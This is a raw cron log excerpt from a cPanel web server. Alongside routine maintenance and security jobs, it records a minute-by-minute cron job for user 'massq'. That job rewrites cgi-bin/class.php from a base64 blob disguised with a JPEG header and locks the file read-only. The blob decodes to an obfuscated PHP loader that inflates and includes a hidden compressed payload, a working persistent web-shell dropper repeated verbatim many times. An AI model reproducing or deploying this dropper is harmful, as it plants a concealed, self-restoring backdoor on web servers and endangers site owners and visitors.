Sep 11 04:56:01 server CROND[23970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:56:01 server CROND[23968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:57:01 server CROND[24374]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 04:57:01 server CROND[24376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:57:01 server CROND[24377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:57:01 server CROND[24375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:58:01 server CROND[24758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:58:01 server CROND[24759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:58:01 server CROND[24760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:59:01 server CROND[25240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:59:01 server CROND[25241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:59:01 server CROND[25242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:00:01 server CROND[25633]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 05:00:01 server CROND[25634]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:00:01 server CROND[25636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:00:01 server CROND[25637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:00:01 server CROND[25643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:00:01 server CROND[25642]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 05:00:01 server CROND[25641]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 05:00:01 server CROND[25640]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 05:00:01 server CROND[25644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:01:01 server CROND[26472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:01:01 server CROND[26474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:01:01 server CROND[26473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:01:01 server CROND[26475]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 05:01:01 server run-parts(/etc/cron.hourly)[26475]: starting 0anacron
Sep 11 05:01:01 server run-parts(/etc/cron.hourly)[26495]: finished 0anacron
Sep 11 05:02:01 server CROND[26884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:02:01 server CROND[26888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:02:01 server CROND[26892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:03:01 server CROND[27373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:03:01 server CROND[27374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:03:01 server CROND[27375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:04:01 server CROND[27851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:04:01 server CROND[27853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:04:01 server CROND[27852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:05:01 server CROND[28242]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:05:01 server CROND[28244]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 05:05:01 server CROND[28245]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:05:01 server CROND[28249]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 05:05:01 server CROND[28251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:05:01 server CROND[28250]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 05:05:01 server CROND[28252]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 11 05:05:01 server CROND[28253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:05:01 server CROND[28248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:06:01 server CROND[29101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:06:01 server CROND[29102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:06:01 server CROND[29103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:07:01 server CROND[29478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:07:01 server CROND[29479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:07:01 server CROND[29480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:08:01 server CROND[29852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
